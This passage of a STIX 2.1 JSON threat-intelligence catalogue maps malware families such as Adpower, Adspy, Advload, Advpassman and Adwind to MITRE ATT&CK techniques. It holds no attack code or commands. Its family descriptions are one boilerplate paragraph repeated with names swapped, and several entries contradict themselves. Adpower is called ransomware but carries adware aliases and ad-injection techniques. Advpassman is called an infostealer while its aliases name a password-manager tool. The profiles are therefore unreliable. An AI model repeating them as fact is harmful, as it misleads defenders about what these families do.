      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adposhel exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1053.005: Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution)",
      "description": "MITRE ATT&CK Technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1053.005",
          "url": "https://attack.mitre.org/techniques/T1053/005/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec8f0545-2336-5b58-a18d-b4a5617e631b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcd63975-3bdc-5ec8-b6b4-d6ef919fb1db",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adposhel exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8caa805a-750f-54b2-9c02-8ccfcf23c6ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adpower",
      "description": "Adpower (classified in antivirus detection telemetry under designations including Ransom:Win32/Adpower, Ransom.Win32.Adpower, and Win32/Adpower) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adpower executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Adpower",
        "PUP.Adpower",
        "Win32/Adware.Adpower",
        "Ransom:Win32/Adpower",
        "Ransom.Win32.Adpower",
        "Win32/Adpower"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adpower",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adpower"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--833fc350-e72a-58b7-a991-47e0e0aca2b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8caa805a-750f-54b2-9c02-8ccfcf23c6ca",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adpower exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6753eef8-bdd1-5651-9729-2e1319d763c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8caa805a-750f-54b2-9c02-8ccfcf23c6ca",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adpower exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546.015: Event Triggered Execution: Component Object Model Hijacking",
      "description": "MITRE ATT&CK Technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546.015",
          "url": "https://attack.mitre.org/techniques/T1546/015/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2be63953-d269-5cbf-bfde-540ca3b47e48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8caa805a-750f-54b2-9c02-8ccfcf23c6ca",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adpower exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--12f77dc8-a0bb-5ea9-b0f1-76804093821b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adspy",
      "description": "Adspy (classified in antivirus detection telemetry under designations including PWS:Win32/Adspy, PWS.Win32.Adspy, and Win32/Adspy) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adspy executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Adspy",
        "PWS.Win32.Adspy",
        "Win32/Adspy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adspy"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--926ba685-3a9f-5fe1-b501-fc88775698f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12f77dc8-a0bb-5ea9-b0f1-76804093821b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adspy exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--531f6f4d-95e4-5c8b-a21a-de970bc40d27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12f77dc8-a0bb-5ea9-b0f1-76804093821b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adspy exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9982f4e-bcad-53c7-afb6-ba030e83a8e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12f77dc8-a0bb-5ea9-b0f1-76804093821b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adspy exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c9d4068-435e-58d8-b2fb-b85379ea9015",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12f77dc8-a0bb-5ea9-b0f1-76804093821b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adspy exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73f2b1bf-0a7f-5a78-9438-01657714e915",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Advancedpccare",
      "description": "Advancedpccare (classified in antivirus detection telemetry under designations including Adware:Win32/Advancedpccare, Adware.Win32.Advancedpccare, and Win32/Advancedpccare) is a commercial adware and potentially unwanted application (PUA) bundled with third-party software installers to monetize search navigation and display intrusive advertising. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Advancedpccare executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include browser homepage modification, search provider hijacking, shortcut tampering, and background advertising service registration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Advancedpccare",
        "Adware.Win32.Advancedpccare",
        "Win32/Advancedpccare"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Advancedpccare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/advancedpccare"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0eb103a6-0c34-5f61-b926-2aa23552fb0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73f2b1bf-0a7f-5a78-9438-01657714e915",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advancedpccare exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Interfering with real AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f05beba2-f8ce-57f8-8551-4bd18c28bb35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73f2b1bf-0a7f-5a78-9438-01657714e915",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advancedpccare exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry Run keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1041cb2c-af1a-5c38-80fb-8601259c374d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73f2b1bf-0a7f-5a78-9438-01657714e915",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advancedpccare exhibits technique T1189 (Drive-by Compromise (Malvertising distribution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--310b9358-a717-5ab0-afa2-3767f52f2456",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Advload",
      "description": "Advload (classified in antivirus detection telemetry under designations including Trojan:Win32/Advload, Trojan.Win32.Advload, and Win32/Advload) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Advload executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Advload",
        "Trojan.Win32.Advload",
        "Win32/Advload"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Advload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/advload"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51badae0-5f40-5a06-a69a-b6a14e779e6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--310b9358-a717-5ab0-afa2-3767f52f2456",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advload exhibits technique T1105 (Ingress Tool Transfer (Continuously downloading new adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4849f46-8e69-5087-b3e5-052b5e90716c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--310b9358-a717-5ab0-afa2-3767f52f2456",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advload exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ac2e09c-23d8-5ed5-b3e7-d56bcf1bfec1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--310b9358-a717-5ab0-afa2-3767f52f2456",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advload exhibits technique T1189 (Drive-by Compromise (Initial distribution vector via fake installers))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--854a1767-a37f-5fd7-9cab-b03d8716f3a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Advpassman",
      "description": "Advpassman (classified in antivirus detection telemetry under designations including PWS:Win32/Advpassman, PWS.Win32.Advpassman, and Win32/Advpassman) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Advpassman executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.AdvPassMan",
        "Riskware.PasswordManager",
        "Tool.AdvPassMan",
        "PWS:Win32/Advpassman",
        "PWS.Win32.Advpassman",
        "Win32/Advpassman"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Advpassman",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/advpassman"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1555: Credentials from Password Stores",
      "description": "MITRE ATT&CK Technique T1555 (Credentials from Password Stores) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1555",
          "url": "https://attack.mitre.org/techniques/T1555/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81ceb576-a0ce-51c7-9cb4-b302ad5177d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--854a1767-a37f-5fd7-9cab-b03d8716f3a7",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advpassman exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1491: Defacement (Displaying fake security warnings / Scareware)",
      "description": "MITRE ATT&CK Technique T1491 (Defacement (Displaying fake security warnings / Scareware)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1491",
          "url": "https://attack.mitre.org/techniques/T1491/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--108ca20e-c36e-5bde-b5b7-aa03cfd99f3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--854a1767-a37f-5fd7-9cab-b03d8716f3a7",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advpassman exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a3835a7-ff4f-55b3-a26a-ed8aa35b8fdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--854a1767-a37f-5fd7-9cab-b03d8716f3a7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Advpassman exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5026e187-ef5a-5d40-8bec-22899dcba729",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adwapper",
      "description": "Adwapper (classified in antivirus detection telemetry under designations including Trojan:Win32/Adwapper, Trojan.Win32.Adwapper, and Win32/Adwapper) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adwapper executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Adwapper",
        "Trojan.Win32.Adwapper",
        "Win32/Adwapper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adwapper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adwapper"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f95f8f7-ce78-5b07-b2cd-2a7dcd7b6f70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5026e187-ef5a-5d40-8bec-22899dcba729",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwapper exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3e7bb70-1beb-5af3-93df-62fcace5ac29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5026e187-ef5a-5d40-8bec-22899dcba729",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwapper exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5575a429-a7f0-5441-b06d-e8542a01f20b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5026e187-ef5a-5d40-8bec-22899dcba729",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwapper exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a97f15c2-9f2d-5d5e-bfbb-e3a3f2016ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5026e187-ef5a-5d40-8bec-22899dcba729",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwapper exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90e15b45-2a74-5a47-818a-f1c9162ba9fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adwaresig",
      "description": "Adwaresig (classified in antivirus detection telemetry under designations including Adware:Win32/Adwaresig, Adware.Win32.Adwaresig, and Win32/Adwaresig) is a commercial adware and potentially unwanted application (PUA) bundled with third-party software installers to monetize search navigation and display intrusive advertising. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adwaresig executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include browser homepage modification, search provider hijacking, shortcut tampering, and background advertising service registration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Generic",
        "PUP.AdwareSig",
        "Suspicious.Adware",
        "Adware:Win32/Adwaresig",
        "Adware.Win32.Adwaresig",
        "Win32/Adwaresig"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adwaresig",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adwaresig"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3ec870c-126d-571c-9621-347f4f57edd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90e15b45-2a74-5a47-818a-f1c9162ba9fa",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwaresig exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54cb8be6-3b72-5b1e-b807-d9736464ca97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90e15b45-2a74-5a47-818a-f1c9162ba9fa",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwaresig exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c6146fe-53cc-530f-9f33-beb5ccb61553",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90e15b45-2a74-5a47-818a-f1c9162ba9fa",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adwaresig exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f8945436-dc1b-5b67-89d3-91b02ef09946",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adwind",
      "description": "Adwind (classified in antivirus detection telemetry under designations including Trojan:Win32/Adwind, Trojan.Win32.Adwind, and Win32/Adwind) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adwind executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Adwind",
        "Trojan.Win32.Adwind",
        "Win32/Adwind"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adwind",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adwind"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
